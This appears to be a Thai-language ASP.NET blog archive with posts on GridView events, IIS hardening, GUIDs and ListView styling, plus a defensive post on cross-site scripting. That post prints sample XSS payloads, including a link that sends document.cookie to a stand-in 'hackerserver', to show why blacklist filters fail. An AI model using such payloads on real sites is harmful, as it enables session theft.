GridView Edit Delete

CODE
<asp:GridView  ID=”gvListName” runat=”server” AutoGenerateColumns=”False” Width=”898″
OnRowEditing=”gvListName_RowEditing”
OnRowCancelingEdit=”gvListName_RowCancelingEdit”
OnRowUpdating=”gvListName_RowUpdating”
OnRowDeleting=”gvListName_RowDeleting” >

<Columns >
<asp:TemplateField HeaderText=”Name” >
<ItemTemplate >
<%#Eval(“Name”)%><asp:HiddenField ID=”hddName” runat=”server” Value=’<%#Eval(“Name”)%>’ />
</ItemTemplate>
<EditItemTemplate>
<asp:TextBox ID=”txtName” runat=”server” />
</EditItemTemplate>
</asp:TemplateField>
</asp:TemplateField>
<asp:CommandField ButtonType=”Button” ShowEditButton=”true” ShowCancelButton=”true” HeaderText=”Edit”  />
<asp:CommandField ShowDeleteButton=”True” HeaderText=”Remove” ButtonType=”Button”/>
</Columns>

</asp:GridView>

โดยให้แยกออก เป็น 4 event ของ GridView ใหญ่ๆ 4 event ครับ
OnRowEditing — > คือ event เมื่อตอน click edit ครับ เมื่อกดปุ่มนี้แล้วจะ generate ได้ออกมาเป็น Update button กับ Cancle button ครับ
OnRowCancelingEdit — > คือ event เมื่อ ตอนกด cancle หลังจาก กด edit แล้ว ครับ
OnRowUpdating — > คือ event เมื่อ ตอนกด update หนังจากกด edit แล้วครับ
OnRowDeleting — > คือ event ตอนกด delete button น่ะครับ อยู่ columns สุดท้าย

ที่ event แรกให้ เขียน code เพื่อกำหนด index ที่ต้องการ edit ใน Grid View ครับ ดังนี้ครับ

CODE
protected void gvListName_RowEditing(object sender, GridViewEditEventArgs e)
{
HiddenField hddName = (sender as GridView).Rows[e.NewEditIndex].FindControl(“hddName”) as HiddenField;

gvListName.EditIndex = e.NewEditIndex;

/*
ทำการ bind data ใน Data Grid ใหม่อีกรอบ น่ะครับ
*/

TextBox txtName = (sender as GridView).Rows[e.NewEditIndex].FindControl(“txtName”) as TextBox;
txtName.Text =  hddName.value;

}

ต่อมาก็ event แรกครับ เมื่อกด Cancle ครับ code ประมาณข้างล่างนี่ครับ

CODE
protected void gvListName_RowCancelingEdit(object sender, GridViewCancelEditEventArgs e)
{
gvListName.EditIndex = -1;
/*
ทำการ bind data ใน Data Grid ใหม่อีกรอบ น่ะครับ
*/
}

event ต่อมาก็ ตอน กด update ครับ code ประมาณข้างล่างครับ

CODE
protected void gvListName_RowUpdating(object sender, GridViewUpdateEventArgs e)
{
GridView gv = sender as GridView;

TextBox txtName = gv.Rows[gv.EditIndex].FindControl(“txtName”) as TextBox;

/*
do code something here
*/

e.Cancel = true;
gvDateList.EditIndex = -1;
/*
ทำการ bind data ใน Data Grid ใหม่อีกรอบ น่ะครับ
*/
}

event สุดท้ายก็ delete ครับ

CODE

protected void gvListName_RowDeleting(object sender, GridViewDeleteEventArgs e)
{
GridView gv = sender as GridView;
TextBox txtName = gv.Rows[gv.EditIndex].FindControl(“txtName”) as TextBox;
/*
do code something here

and rebind data agin
*/
}

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »

How to Use This Checklist-Web Server

ตอน นี้ศึกษาเรื่อง Security อย่างเต็มรูปแบบไปเจอ Check list ของ Microsoft เอาไว้ติดตั้ง IIS Web Serverจำเป็นต้องตรวจสอบว่าตอนนี้Server เรามีช่องทางที่จะโดนhackได้ทางไหนบ้าง เข้าทำนองที่ว่ากันไว้ดีกว่าแก้

How to Use This Checklist

This checklist is a companion to Chapter 16, “Securing Your Web Server.” Use it to help implement a secure Web server, or as a quick evaluation snapshot of the corresponding chapter.

This checklist should evolve with steps that you discover to secure your Web server.

Patches and Updates

Check Description
MBSA is run on a regular interval to check for latest operating system and components updates.
The latest updates and patches are applied for Windows, IIS server, and the .NET Framework. (These are tested on development servers prior to deployment on the production servers.)
Subscribe to the Microsoft Security Notification Service at http://www.microsoft.com/technet/security/bulletin/notify.asp.

IISLockdown

Check Description
IISLockdown has been run on the server.
URLScan is installed and configured.

Services

Check Description
Unnecessary Windows services are disabled.
Services are running with least-privileged accounts.
FTP, SMTP, and NNTP services are disabled if they are not required.
Telnet service is disabled.
ASP .NET state service is disabled and is not used by your applications.

Protocols

Check Description
WebDAV is disabled if not used by the application OR it is secured if it is required. For more information, see Microsoft Knowledge Base article 323470, “How To: Create a Secure WebDAV Publishing Directory.”
TCP/IP stack is hardened.
NetBIOS and SMB are disabled (closes ports 137, 138, 139, and 445).

Accounts

Check Description
Unused accounts are removed from the server.
Windows Guest account is disabled.
Administrator account is renamed and has a strong password..
IUSR_MACHINE account is disabled if it is not used by the application.
If your applications require anonymous access, a custom least-privileged anonymous account is created.
The anonymous account does not have write access to Web content directories and cannot execute command-line tools.
ASP.NET process account is configured for least privilege. (This only applies if you are not using the default ASPNET account, which is a least-privileged account.)
Strong account and password policies are enforced for the server.
Remote logons are restricted. (The “Access this computer from the network” user-right is removed from the Everyone group.)
Accounts are not shared among administrators.
Null sessions (anonymous logons) are disabled.
Approval is required for account delegation.
Users and administrators do not share accounts.
No more than two accounts exist in the Administrators group.
Administrators are required to log on locally OR the remote administration solution is secure.

Files and Directories

Check Description
Files and directories are contained on NTFS volumes.
Web site content is located on a non-system NTFS volume.
Log files are located on a non-system NTFS volume and not on the same volume where the Web site content resides.
The Everyone group is restricted (no access to WINNTsystem32 or Web directories).
Web site root directory has deny write ACE for anonymous Internet accounts.
Content directories have deny write ACE for anonymous Internet accounts.
Remote IIS administration application is removed (WINNTSystem32InetsrvIISAdmin).
Resource kit tools, utilities, and SDKs are removed.
Sample applications are removed (WINNTHelpIISHelp, InetpubIISSamples).

Shares

Check Description
All unnecessary shares are removed (including default administration shares).
Access to required shares is restricted (the Everyone group does not have access).
Administrative shares (C$ and Admin$) are removed if they are not required (Microsoft Management Server (SMS) and Microsoft Operations Manager (MOM) require these shares).

Ports

Check Description
Internet-facing interfaces are restricted to port 80 (and 443 if SSL is used).
Intranet traffic is encrypted (for example, with SSL) or restricted if you do not have a secure data center infrastructure.

Registry

Check Description
Remote registry access is restricted.
SAM is secured (HKLMSystemCurrentControlSetControlLSANoLMHash). This applies only to standalone servers.

Auditing and Logging

Check Description
Failed logon attempts are audited.
IIS log files are relocated and secured.
Log files are configured with an appropriate size depending on the application security requirement.
Log files are regularly archived and analyzed.
Access to the Metabase.bin file is audited.
IIS is configured for W3C Extended log file format auditing.

Sites and Virtual Directories

Check Description
Web sites are located on a non-system partition.
“Parent paths” setting is disabled.
Potentially dangerous virtual directories, including IISSamples, IISAdmin, IISHelp, and Scripts virtual directories, are removed.
MSADC virtual directory (RDS) is removed or secured.
Include directories do not have Read Web permission.
Virtual directories that allow anonymous access restrict Write and Execute Web permissions for the anonymous account.
There is script source access only on folders that support content authoring.
There is write access only on folders that support content authoring and these folder are configured for authentication (and SSL encryption, if required).
FrontPage Server Extensions (FPSE) are removed if not used. If they are used, they are updated and access to FPSE is restricted.

Script Mappings

Check Description
Extensions not used by the application are mapped to 404.dll (.idq, .htw, .ida, .shtml, .shtm, .stm, idc, .htr, .printer).
Unnecessary ASP.NET file type extensions are mapped to “HttpForbiddenHandler” in Machine.config.

ISAPI Filters

Check Description
Unnecessary or unused ISAPI filters are removed from the server.

IIS Metabase

Check Description
Access to the metabase is restricted by using NTFS permissions (%systemroot%system32inetsrvmetabase.bin).
IIS banner information is restricted (IP address in content location disabled).

Server Certificates

Check Description
Certificate date ranges are valid.
Certificates are used for their intended purpose (for example, the server certificate is not used for e-mail).
The certificate’s public key is valid, all the way to a trusted root authority.
The certificate has not been revoked.

Machine.config

Check Description
Protected resources are mapped to HttpForbiddenHandler.
Unused HttpModules are removed.
Tracing is disabled <trace enable=”false”/>
Debug compiles are turned off.

<compilation debug="false" explicit="true" defaultLanguage="vb">

Code Access Security

Check Description
Code access security is enabled on the server.
All permissions have been removed from the local intranet zone.
All permissions have been removed from the Internet zone.

Other Check Points

Check Description
IISLockdown tool has been run on the server.
HTTP requests are filtered. URLScan is installed and configured.
Remote administration of the server is secured and configured for encryption, low session time-outs, and account lockouts.

reference site: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/CL_SecWebs.asp

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »

การตรวจสอบ Cross Site Scripting

ไม่ว่าข้อมูลใดๆก็ตามที่ได้รับจาก User  ถือว่ามีความเสี่ยงในด้านของปลอดภัยทั้งนั้น เพราะเราไม่สามารถรู้วัตถประสงค์ที่แท้จริงของผู้ใช้งานระบบของเราว่าเค้าจะ ใส่ข้อมูลที่เราต้องการหรืออาจจะเป็นข้อมูลที่เราไม่พึ่งประสงค์เข้ามาใน ระบบ หนทางที่ดีที่สุดคือการใส่ระบบป้องกันให้ระบบของเรา หรือ การเขียน program ให้ปลอดภัยนั้นเอง

การโจมตีสามารถทำได้โดย การเขียน script ฝั่งลงไปกับข้อมูล (Cross site scripting attacks) หรือการหาช่ิองทางของคำสั่ง query ในฐานข้อมูลเพื่อดึงข้อมูลที่ต้องการออกมา (SQL injection attacks) สามารถทำได้หลากหลายรูปแบบ และเป็นสิ่งที่เราน่าจะเรียนรู้เพื่อนำไปสู่วิธี่การป้องกันที่ดี  ลองคิดดูว่าการเขียนโปรแกรมของเรามีการจัดการเรื่องพวกนี้ได้ดีแค่ไหน หรือ ดีพอหรือยัง มาดูตัวอย่างการป้องกันที่เราคิดว่าน่าจะเพียงพอ

ถ้าข้อมูลที่เราได้รับเป็นแบบนี้

somepage.aspx?foo=<script>alert(‘vulnerable XSS code’)</script>

ฝั่ง Server เราก็เขียนก็แค่เขียน filter เพื่อป้องกันไม่ให้ script นี้สามารถ รันได้

1 <%
2             fooString= Request.querystring("foo")
3             fooString = Replace(fooString, "<", " ")
4             fooString = Replace(fooString, ">", " ")
5             fooString = Replace(fooString, "%", " ")
6             fooString = Replace(fooString, ",", " ")
7             Response.Write fooString
8 %> 

จะเห็นได้ว่าแค่นี้ก็น่าจะเพียงพอแล้วที่เราจะป้องกันจากวิธีการโจมตีด้วยวิธีนี้ ถ้าอย่างนั้น หากผู้โจมตีเปลี่ยนรูปแบบข้อมูลเป็น

somepage.aspx?foo=%2bADw-script%2bAD4-alert(‘vulnerable XSS code‘)%2bADw-/script%2bAD4-

การป้องการด้านบนก็ไม่สามารถป้องกันได้

ถ้าเราเปลี่ยนมาใช้การเข้ารหัสข้อมูลที่เป็น  HTML ก่อนนำไปใช้งานโดย Server.HTMLEncode()

1 Server.HTMLEncode(<%= (Request.Params["Search"])%>); 

แต่ถ้าข้อมูลที่ได้รับเป็นแบบนี้

 1 <a id=evilLink  href="http://victimsite.com
 2 /sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F
 3 %2Fhackerserver%2Fhackersite
 4 %2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')
 5 %3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com
 6 /sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F
 7 %2Fhackerserver%2Fhackersite
 8 %2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%
 9 3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')">
10 http://victimsite.com/default.aspx</a>

อีกตัวอย่างหนึ่งถ้าเราใช้  Server.HTMLEncode()

<IMG src=’<%=Server.HtmlEncode(request(“im”))%>’>

ถ้าข้อมูลมี่ได้รับเป็นแบบนี้

<IMG src=”javascript:alert(‘XSS’);”>

สังเกตได้ว่าจะไม่มี tag “<”  หรือ “>” ให้เห็นเลย การเข้ารหัส HTML จึงไม่เกิดขึ้น

การตรวจข้อมูลที่นำเข้า (Input Validation)

ดังนั้นก็ป้องกันที่ดีนั้นควรกำหนรูปแบบข้อมูลที่เราต้องการขึ้นมาก่อน หรือที่เรียกว่า White list แล้วทำการตรวจสอบ (Validation)เอาเฉพาะข้อมูลที่ต้องการเท่านั้น นอกเหนือจากนั้นถือว่าเป็น  ข้อมูลที่ไม่พึ่งประสงค์ การตรวจสอบอาจจะใช้ Regular expression เช่น

string pattern = @”^[A-Za-z]+$”;  //รับข้อมูลที่เป็นตัวอักษร a-z เท่านั้น

การเข้ารหัสข้อมูลที่เราดึงมาใช้งาน  (Output Encoding)

ใน  .net  สามารถนำ library Anti-Cross Site Scripting ของ Microsoft มาใช้ได้เลย

http://msdn.microsoft.com/en-us/security/aa973814.aspx

หรือใช้  XSSDetect  ซึ่งเป็น  pluginใน Visual Studio มาใช้ในการตรวจสอบ code

XSSDetect

http://www.microsoft.com/downloads/details.aspx?FamilyID=19a9e348-bdb9-45b3-a1b7-44ccdcb7cfbe&displaylang=en

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »

การสร้างเวบไซด์ใน IIS 6.0

ในแต่ล่ะครั้งที่เราสร้างเวบไซด์โดยเฉพาะ Server ที่เป็น windows เราจะคุ้นเคยกับการ config IIS (Internet Information Server ) เป็นอย่างดี  โดยเฉพาะ IIS 6 ซึ่งอยู่บน windows 2003  server (ปัจจุบัน version ล่าสุด คือ IIS 7  บน Windows Server 2008 Omar AL Zabir  เจ้าของเวบ site pageflakes.com ได้เขียนใน  blog ของเขาเรื่อง  Best practices for creating websites in IIS 6.0 ผมได้นำมาสรุปเอาไว้ว่า

ควรสร้าง Application Pool แยกออกมาในแต่ล่ะเวบไชด์
เนื่องจาก ใน IIS มี  process ที่ชื่อว่า  w3wp.exe  สามารถที่จะสร้าง  instance การทำการได้หลายๆ ตัวพร้อมกันตามจำนวน app pool  โดยปกติแล้ว  IIS จะมี DefaultAppPool เป็น app pool เบื้องต้น แต่ล่ะ app pool จะมีหน้าที่ในการจัดการ   In-Process  seesion , memory cache  บน server ถ้าหากเรามีหลายๆเวบ site  บน Server ทุกตัวจะใช้ DefaultAppPool ร่วมกัน  ทำให้การจัดการเป็นไปได้ยาก  ในเวลาที่บางเวบไซด์มีจำนวน traffic จำนวนมาก  เพราะฉนั้นเราควรแยก app pool ออกมาแบบ  one website per one app pool  ทำได้โดย

ควร disable DefaultAppPool เพื่อป้องกันเข้าใจผิดและเข้าไปใช้งาน DefaultAppPool ได้อีก

image

อย่างแรกเลย click ขวา ที่ Application Pool  แล้วเลือก new application pool  ควรตั้งชื่อ app pool ให้เหมือนกับชื่อเวบไซด์ เพื่อให้ง่ายต่อความเข้าใจ

image

เวลาที่เราสร้างเวบไซด์ใหม่ก็ให้ Reference ให้ตรงกับ App pool ที่เราสร้างไว้ เหมือนรูปด้านบน

Customize Website properties for performance, scalability and maintainability

  1. Maping host  header ให้ถูกต้องทั้ง ที่มี  www และ ไม่มี  www  (domain.com,www.domain.com)image
  2. เปิดการใช้  log  ดังรูป เพื่อนำข้อมูลใช้ในการวิเคราะห์ เพื่อหาข้อมูล bandwidth หรือ อาจจะใช้  Google Analysis Service ก็ได้image
  3. ควรเพิ่ม defualt.aspx  ถ้าหาก user เปิดเวบไซด์เข้ามาโดยไม่มีการเรียกชื่อ  file .aspx  defualt.aspx ก็จะโดนเรียกใช้ทันทีimage
  4. Turn on Content Expiration. เพื่อให้  Browser เก็บ cache นั้นเอาไว้ประมาณ 30 วัน
    Remove the X-Powered-By: ASP.NET header เพื่อลดการ ส่งค่าไปมาให้โดยไม่มีประโยชน์ (21 Byte) ในแต่ล่ะครั้ง อีกทั้งช่วยป้องกันพวก  hacker ได้ในระดับหนึ่ง    เพิ่ม “From” header และ  ตั้งชื่อ  server name มีประโยชน์ในการทำ load balancing

    image

  5. Set 404 Not found ไปที่  file ที่เราสร้างขึ้นเอง เช่น myerrorpage.aspx มีประโยชน์ ในการจัดการ error messageimage
  6. ตรวจสอบว่าเราเลือกใช้  ASP.NET  2.0 สำหรับเวบไซด์ ASP.NET 2.0 3.0 3.5image

สุดท้าย ควรเปิดการใช้การบีบอัด  header โดยใช้  gzip  สามารถเข้าไปดูวิธีการได้ที่
turn on IIS 6.0 gzip compression.

credit : http://codesnippet.exteen.com/20081023/iis-6-0

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . 2 Comments »

Visual Studio 2008 Snippet Designer

Mathew Manela จาก  The Online Tools Group ของ Microsoft ได้ออกเครื่องมือที่ใช้สร้างและจัดการ snippet code สำหรับ Visual Studio 2008 สามารถ Download ได้ที่  http://www.codeplex.com/SnippetDesigner มี feature หรือ functionality ได้แก่

  1. สามารถสร้าง file .SNIPPET
  2. Export  snippet code  เข้ากับ snippet ใน Visual Studio 2008 ด้วยการ Click ขวาที่  code แล้วเลือก  “Export as Snippet”

    image

  3. แก้ไข snippets โดยใช้  Snippet Editor

    image

  4. มี Snippet Explorer  ไปที่  View – Other Windows – Snippet Explorer

    image

เวาที่เราเขียน code ใน Visual Studio เราก็สามารถเรียกใช้ snippet code ที่เราสร้างไว้ได้โดยการ Click ขวา แล้วเลือก “Insert Code Snippet”  หรือ กด Clt+K-X

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »

การหา Minimum & Maximum Dates

ถ้าเราต้องการ update ข้อมูลที่เป็นวันที่ในฐานข้อมูล  และเป็นข้อมูลวันที่น้อยสุดและมากสุดเป็นค่า default เราสามารถหาได้โดย   using System.Data.SqlType เข้ามาก่อน  แล้วเขียน code ดังนี้

DateTime minDate = SqlDateTime.MinValue.Value

DateTime maxDate = SqlDateTime.MaxValue.Value

นอกจากนี้ เราสามารถหา   Minimum และ  Maximum DateTime ได้จาก System.DateTime

DateTime minDate = DateTime.MinValue

DateTime maxDate = DateTime.MaxValue

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »

สร้าง string ที่ไม่ซ้ำด้วย GUID

เมื่อเราทำการเขียนโปรแกรมแล้วต้องการ สร้างชุด string ชุดหนึ่ง เช่น  ID , Username , Password  อื่นๆ เราสามารถสร้างโดย  Globally Unique Identifier (GUID) ของ .Net เอง

GUID มีขนาด 128-bit Interger (16 byte) หากถ้าเราสังเกตุให้ดีๆ ในคอมของเราในส่วนของ Registry จะมีการใช้ GUID ซึ่งใช้เป็นตัวระบุ application IDs  ภายใต้ HKEY_CLASSES_ROOT ใน SQL  Server ได้รวมความสามารถของ GUID ให้เราได้ใช้เป็น data type  (uniqueidentifier) ในการกำหนดค่าของข้อมูลที่เราต้องการให้เป็น GUID  ซึ่งเราสามารถเรียกใช้  function  NEWID() ได้เลย

ใน .Net ได้รวมเอา GUID เข้าไปใน System Class ซึ่งเป็น Base Class ใน  .Net Framework

การสร้าง GUID ในทั้งใน  C# และ VB.NET

1 System.Guid.NewGuid().ToString();

Output ที่ได้ คือ  9245fe4a-d402-451c-b9ed-9c1a04247482

ในทางกลับกันเราสามารถ Convert Output   ซึ่งเป็น string ให้กลับไปเป็น GUID data type ได้โดย

1 System.Guid newid=New Guid(9245fe4a-d402-451c-b9ed-9c1a04247482 );

หรือ

1 System.Guid newid=(SqlGUID.Parse(9245fe4a-d402-451c-b9ed-9c1a04247482 )).Value;

ลักษณะการนำเอาไปใช้นั้นเราสามารถใช้ Guid.ToString() Method   เพื่อกำหนดรูปแบบการแสดงผลได้

Specifier
Format of Return Value
N
32 digits:

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

ตัวอย่าง  newid.ToString(“N”);

9245fe4ad402451cb9ed9c1a04247482

D
32 digits separated by hyphens:

xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

ตัวอย่าง  newid.ToString(“D”);

9245fe4a-d402-451c-b9ed-9c1a04247482

B
32 digits separated by hyphens, enclosed in brackets:

{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

ตัวอย่าง  newid.ToString(“B”);

{9245fe4a-d402-451c-b9ed-9c1a04247482 }

P
32 digits separated by hyphens, enclosed in parentheses:
ตัวอย่าง  newid.ToString(“P”);

(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)

ตัวอย่าง newid.ToString(“P”);

(9245fe4a-d402-451c-b9ed-9c1a04247482)

นอกจากนั้น  เราสามารถ ย่อ GUID ที่มีขนาดยาวให้เหลือเพียง 16 ตัวอักษร และไม่ซ้ำ

จาก

21726045-e8f7-4b09-abd8-4bcc926e9e28

เป็น

3c4ebc5f5f2c4edc

โดยใช้ function

 1 private string GenerateId()
 2 {
 3  long i = 1;
 4  foreach (byte b in Guid.NewGuid().ToByteArray())
 5  {
 6   i *= ((int)b + 1);
 7  }
 8  return string.Format("{0:x}", i - DateTime.Now.Ticks);
 9 }
10 

ถ้าเราต้องการเอาเฉพาะตัวเลขเท่านั้น

1 private long GenerateId()
2 {
3  byte[] buffer = Guid.NewGuid().ToByteArray();
4  return BitConverter.ToInt64(buffer, 0);
5 }
บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »

Alternating styles in ListView without AlternatingItemTemplate

Alternating styles in ListView without AlternatingItemTemplate

ListView (the server-side control), like all repeating data controls in ASP.NET, has an AlternatingItemTemplate, but it would be a shame to have to copy all the markup in the ItemTemplate into AlternatingItemTemplate, just to alternate styles on the items. It’s quite likely that only css classes will change between the two, and redundancy is bad <- big scoop here.

But there is a simpler way. From within any template, you have access to the current index of the row within the whole data set, using Container.DataItemIndex, and within the currently displayed items, using Container.DisplayIndex. This gives us an easy way to alternate styles:

<ItemTemplate>
  <li class="<%# Container.DisplayIndex % 2 == 0 ? "even" : "odd" %>">
    <%# Eval("Name") %>
  </li>
</ItemTemplate>

Just define the even and odd classes in your stylesheet and you’re pretty much done.

The full source code for the page is attached below:
http://weblogs.asp.net/bleroy/attachment/6436332.ashx

บันทึกโพสใน โปรเเกรมมิ่ง(Programming). ป้ายกำกับ: . Leave a Comment »